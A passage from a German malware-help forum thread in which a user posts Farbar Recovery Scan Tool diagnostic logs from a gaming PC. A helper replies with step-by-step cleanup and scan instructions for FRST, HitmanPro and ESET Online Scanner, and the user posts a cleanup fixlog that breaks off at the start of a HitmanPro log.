Total Commander 64-bit (Remove or Repair) (HKLM-x32\...\Totalcmd64) (Version: 9.0 - Ghisler Software GmbH)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update für Microsoft Office Excel 2007 Help (KB963678) (HKLM-x32\...\{90120000-0016-0407-0000-0000000FF1CE}_ENTERPRISE_{BEC163EC-7A83-48A1-BFB6-3BF47CC2F8CF}) (Version:  - Microsoft)
Update für Microsoft Office Outlook 2007 Help (KB963677) (HKLM-x32\...\{90120000-001A-0407-0000-0000000FF1CE}_ENTERPRISE_{F6828576-6F79-470D-AB50-69D1BBADBD30}) (Version:  - Microsoft)
Update für Microsoft Office Powerpoint 2007 Help (KB963669) (HKLM-x32\...\{90120000-0018-0407-0000-0000000FF1CE}_ENTERPRISE_{EA160DA3-E9B5-4D03-A518-21D306665B96}) (Version:  - Microsoft)
Update für Microsoft Office Word 2007 Help (KB963665) (HKLM-x32\...\{90120000-001B-0407-0000-0000000FF1CE}_ENTERPRISE_{38472199-D7B6-4833-A949-10E4EE6365A1}) (Version:  - Microsoft)
Vulkan Run Time Libraries 1.0.42.1 (HKLM\...\VulkanRT1.0.42.1) (Version: 1.0.42.1 - LunarG, Inc.)
WHV4aVqDz8Bs1NavW version 1.0 (HKLM-x32\...\{1fd06d23-1810-464b-b9c5-b92c28776962}_is1) (Version: 1.0 - )
WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {0C4D4B81-F450-4B0B-8C72-E729304B408F} - System32\Tasks\Overwolf Updater Task => C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [2017-05-14] (Overwolf LTD)
Task: {0F554480-7D29-423E-A816-01813EC1A22E} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {2FE85189-217B-485E-92C6-5492C0B47F50} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {3643BE30-1B19-4C8B-B477-934A71E7FBD5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {42CCB202-504C-4449-8CA7-BDFA2F30CA79} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7 => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {4BED09D5-6922-4AB0-A5F7-02573B1A17CD} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {532C17B9-861A-40D4-AB56-24DDCD9FFD0D} - System32\Tasks\OneDrive Standalone Update Task v2 => %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
Task: {580ECAAB-83D0-4420-BC5F-378E24B7755B} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {8BC35C08-BEAE-4DCA-8814-715C10631294} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {946B1704-9D1A-4004-99EB-86EE822427D4} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [2016-10-13] (Intel(R) Corporation)
Task: {A0B8C401-754F-45ED-AB54-A4196A516902} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {CE717A1A-E0B7-4A62-A58D-3CF8778369F4} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {D2CAA64B-EFEE-4B71-B535-3D39B9088D9F} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-05-03] (NVIDIA Corporation)
Task: {E4CCFFA0-D020-4654-BB23-EB12886EDAE6} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-05-03] (NVIDIA Corporation)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-05-12 15:18 - 2017-05-03 22:21 - 01267320 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00107752 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\libglog.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00412904 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\JsonCpp.dll
2017-06-03 00:20 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\windows\SYSTEM32\inputhost.dll
2016-11-01 17:18 - 2016-11-01 17:18 - 00253664 _____ () C:\Program Files\Intel\Intel(R) Online Connect\CSLibWrapper.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ () C:\windows\SYSTEM32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ () C:\windows\SYSTEM32\APOMgr64.DLL
2017-06-01 22:05 - 2017-05-03 22:20 - 00034424 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_system-vc120-mt-1_58.dll
2017-06-01 22:05 - 2017-05-03 22:20 - 00920184 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_regex-vc120-mt-1_58.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01040504 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
2017-05-14 12:53 - 2017-05-14 12:53 - 68886856 _____ () C:\Program Files (x86)\Overwolf\0.104.210.0\libcef.DLL
2017-06-02 16:10 - 2017-05-17 03:54 - 00678176 _____ () D:\Steam\SDL2.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 02485536 _____ () D:\Steam\video.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00491008 _____ () D:\Steam\libavformat-56.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00332800 _____ () D:\Steam\libavresample-2.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00442880 _____ () D:\Steam\libavutil-54.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00485888 _____ () D:\Steam\libswscale-3.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 04969248 _____ () D:\Steam\v8.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01563936 _____ () D:\Steam\icui18n.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 02549760 _____ () D:\Steam\libavcodec-56.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01195296 _____ () D:\Steam\icuuc.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 00877856 _____ () D:\Steam\bin\chromehtml.DLL
2017-05-30 21:25 - 2016-07-05 00:17 - 00266560 _____ () D:\Steam\openvr_api.dll
2017-05-12 15:18 - 2017-05-03 22:20 - 65709176 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll
2017-06-02 16:10 - 2017-05-08 21:45 - 69516064 _____ () D:\Steam\bin\cef\cef.win7\libcef.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 00385312 _____ () D:\Steam\steam.dll
2016-11-08 19:40 - 2016-11-08 19:40 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2017-03-18 23:03 - 2017-06-03 15:44 - 00000027 _____ C:\windows\system32\Drivers\etc\hosts

127.0.0.1      localhost

==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-743485210-3963512150-464095969-1003\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
DNS Servers: 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==


==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{21F95021-2FE4-4322-B40D-87BF0028281B}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{FC215E32-309D-4C21-AEBB-673A82A26FED}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{53F48740-2016-4BFF-BAB8-D22B9EE2BF9D}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{A1547F5A-B681-4FE3-9C40-1B00A6AC62ED}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{C959CF86-4D29-4667-B335-D159BAD71C47}] => (Allow) D:\Steam\steamapps\common\PAYDAY 2\payday2_win32_release.exe
FirewallRules: [{DDCA121D-9668-4F91-AFBA-A17DCD403278}] => (Allow) D:\Steam\steamapps\common\PAYDAY 2\payday2_win32_release.exe
FirewallRules: [TCP Query User{80E694DE-E0AD-4CAC-AFC4-3266DC95F3E4}D:\steam\steamapps\common\newz\thenewz.exe] => (Allow) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [UDP Query User{92EBE539-84E8-4B74-A921-6CD21C6A8A69}D:\steam\steamapps\common\newz\thenewz.exe] => (Allow) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [TCP Query User{D61BC49F-9438-4415-8055-EA090E758756}D:\steam\steamapps\common\stellaris\stellaris.exe] => (Allow) D:\steam\steamapps\common\stellaris\stellaris.exe
FirewallRules: [UDP Query User{69C7E14A-57A3-4A5E-A849-4D05B51304EF}D:\steam\steamapps\common\stellaris\stellaris.exe] => (Allow) D:\steam\steamapps\common\stellaris\stellaris.exe
FirewallRules: [TCP Query User{83EEDB74-B123-419A-9D76-A1BEEA099C7A}D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe] => (Allow) D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe
FirewallRules: [UDP Query User{65403E7F-BB50-4CF4-9520-4D8F9A6079B9}D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe] => (Allow) D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe
FirewallRules: [TCP Query User{E4B73503-FBEC-4D64-B93B-EADDAF0A5137}D:\steam\steamapps\common\counter-strike global offensive\csgo.exe] => (Block) D:\steam\steamapps\common\counter-strike global offensive\csgo.exe
FirewallRules: [UDP Query User{B08FEC04-DCEA-48FD-AD7A-71413ADFD31C}D:\steam\steamapps\common\counter-strike global offensive\csgo.exe] => (Block) D:\steam\steamapps\common\counter-strike global offensive\csgo.exe
FirewallRules: [{5E93579E-7CCC-44B4-8D00-7EE708915422}] => (Allow) D:\Steam\steamapps\common\Skyrim\SkyrimLauncher.exe
FirewallRules: [{81AA72FA-3488-4A27-8280-E5B6FFB2A524}] => (Allow) D:\Steam\steamapps\common\Skyrim\SkyrimLauncher.exe

==================== Wiederherstellungspunkte =========================

12-05-2017 15:48:12 Windows-Sicherung
30-05-2017 08:01:39 Windows Update
31-05-2017 13:45:11 DirectX wurde installiert
03-06-2017 00:50:01 Sprachpaketdeinstallation
04-06-2017 16:52:55 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215

==================== Fehlerhafte Geräte im Gerätemanager =============


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/06/2017 12:20:10 PM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.

Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "MSDTC" in der DLL "C:\windows\system32\msdtcuiu.DLL" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "Lsa" in der DLL "C:\Windows\System32\Secur32.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "ESENT" in der DLL "C:\windows\system32\esentprf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 12:20:10 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "BITS" in der DLL "C:\Windows\System32\bitsperf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 11:39:04 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/06/2017 11:39:04 AM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/06/2017 11:39:04 AM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.


Systemfehler:
=============
Error: (06/06/2017 12:26:25 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/06/2017 12:26:25 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/06/2017 12:26:16 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/06/2017 12:25:47 PM) (Source: DCOM) (EventID: 10010) (User: WHOPPER)
Description: Der Server "{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows Modules Installer" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 120000 Millisekunden durchgeführt: Neustart des Diensts.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Management and Security Application Local Management Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Rapid Storage Technology" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "NVIDIA NetworkService Container" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Steam Client Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/06/2017 12:25:36 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows Search" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 30000 Millisekunden durchgeführt: Neustart des Diensts.


CodeIntegrity:
===================================
  Date: 2017-06-04 01:41:01.853
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.837
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.823
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.809
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.794
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.779
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.739
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.721
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.702
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.684
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
Prozentuale Nutzung des RAM: 19%
Installierter physikalischer RAM: 16270.29 MB
Verfügbarer physikalischer RAM: 13155.08 MB
Summe virtueller Speicher: 19214.29 MB
Verfügbarer virtueller Speicher: 16087.45 MB

==================== Laufwerke ================================

Drive c: (System) (Fixed) (Total:227.51 GB) (Free:183.18 GB) NTFS
Drive d: (Daten) (Fixed) (Total:931.51 GB) (Free:746.62 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 68A7658E)

Partition: GPT.

========================================================
Disk: 1 (Size: 931.5 GB) (Disk ID: 68A76683)

Partition: GPT.

==================== Ende von Addition.txt ============================

...warum sind diese Datein nur so riesig. Entschuldige diese PostWeise.

M-K-D-B 06.06.2017 22:48
Liste der Anhänge anzeigen (Anzahl: 1)
Servus,



schon ok. :)


Wir kontrollieren nochmal alles.



Hinweis: Der Suchlauf mit ESET kann länger dauern.





Schritt 1
  • Im Anhang meines Posts findest du die Datei fixlist.txt. Speichere diese Datei im selben Verzeichnis, indem sich die FRST.exe befindet.
  • Ersetze die **** durch deinen richtigen Benutzernamen.
  • Starte die FRST.exe erneut.
  • Klicke auf den Button Entfernen.
  • Der Entfernungsprozess startet, dein Rechner benötigt am Ende einen Neustart.
  • Nach dem Neustart findest du eine Datei fixlog.txt im selben Verzeichnis, in der sich auch die FRST.exe befindet.
  • Poste mir den Inhalt dieser Datei mit deiner nächsten Antwort.






Schritt 2
Downloade dir die passende Version von HitmanPro auf deinen Desktop: HitmanPro - 32 Bit | HitmanPro - 64 Bit.
  • Starte die HitmanPro.exe
  • Klicke auf
  • Entferne den Haken bei
  • Klicke auf
    und
  • Akzeptiere die Lizenzbedingungen und klicke auf
  • Klicke auf

    und auf
  • Wenn der Scan beendet wurde, nichts löschen lassen etc. sondern wähle unten links auf der Button-Leiste
    und speichere die Logdatei auf Deinem Desktop.
  • Schließe HitmanPro und poste mir das Log.

 







Schritt 3

ESET Online Scanner

  • Hier findest du eine bebilderte Anleitung zu ESET Online Scanner
  • Lade und starte Eset Online Scanner
  • Setze einen Haken bei Ja, ich bin mit den Nutzungsbedingungen einverstanden und klicke auf Starten.
  • Aktiviere die "Erkennung von eventuell unerwünschten Anwendungen" und wähle folgende Einstellungen.
  • Klicke auf Starten.
  • Die Signaturen werden heruntergeladen, der Scan beginnt automatisch.
  • Klicke am Ende des Suchlaufs auf Fertig stellen.
  • Schließe das Fenster von ESET.
  • Explorer öffnen.
  • C:\Programme\Eset\EsetOnlineScanner\log.txt (bei 64 Bit auch C:\Programme (x86)\Eset\EsetOnlineScanner\log.txt) suchen und mit Deinem Editor öffnen (bebildert).
  • Logfile hier posten.
  • Deinstallation: Systemsteuerung => Software / Programme deinstallieren => Eset Online Scanner V3 entfernen.
  • Manuell folgenden Ordner löschen und Papierkorb leeren => C:\Programme\Eset










http://www.trojaner-board.de/extra/lesestoff.pngGibt es jetzt noch Probleme mit dem PC oder mit deinen Internet Browsern? Wenn ja, welche?







Bitte poste mit deiner nächsten Antwort
  • die Logdatei des FRST-Fix,
  • die Logdatei von HitmanPro,
  • die Logdatei von ESET,
  • die Beantwortung der gestellten Fragen.

Twix. 07.06.2017 23:00
fixlog:
Code:
Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgeführt von **** (07-06-2017 23:01:53) Run:3
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************
CloseProcesses:
2017-05-30 09:56 - 2017-05-30 09:56 - 0000017 _____ () C:\Users\****\AppData\Local\resmon.resmoncfg
EmptyTemp:
*****************

Prozesse erfolgreich geschlossen.
C:\Users\****\AppData\Local\resmon.resmoncfg => erfolgreich verschoben

=========== EmptyTemp: ==========

BITS transfer queue => 8675328 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 9543911 B
Java, Flash, Steam htmlcache => 14649353 B
Windows/system/drivers => 93712 B
Edge => 0 B
Chrome => 0 B
Firefox => 48742487 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 128 B
systemprofile32 => 0 B
LocalService => 2450 B
NetworkService => 0 B
**** => 7702541 B

RecycleBin => 0 B
EmptyTemp: => 85.3 MB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 23:01:55 ====
hitman:
Code:

       
Code:

       
HitmanPro 3.7.20.286
www.hitmanpro.com

   Computer name . . . . : WHOPPER
   Windows . . . . . . . : 10.0.0.15063.X64/8
   User name . . . . . . : WHOPPER\****
   UAC . . . . . . . . . : Enabled
   License . . . . . . . : Free

   Scan date . . . . . . : 2017-06-07 23:04:14
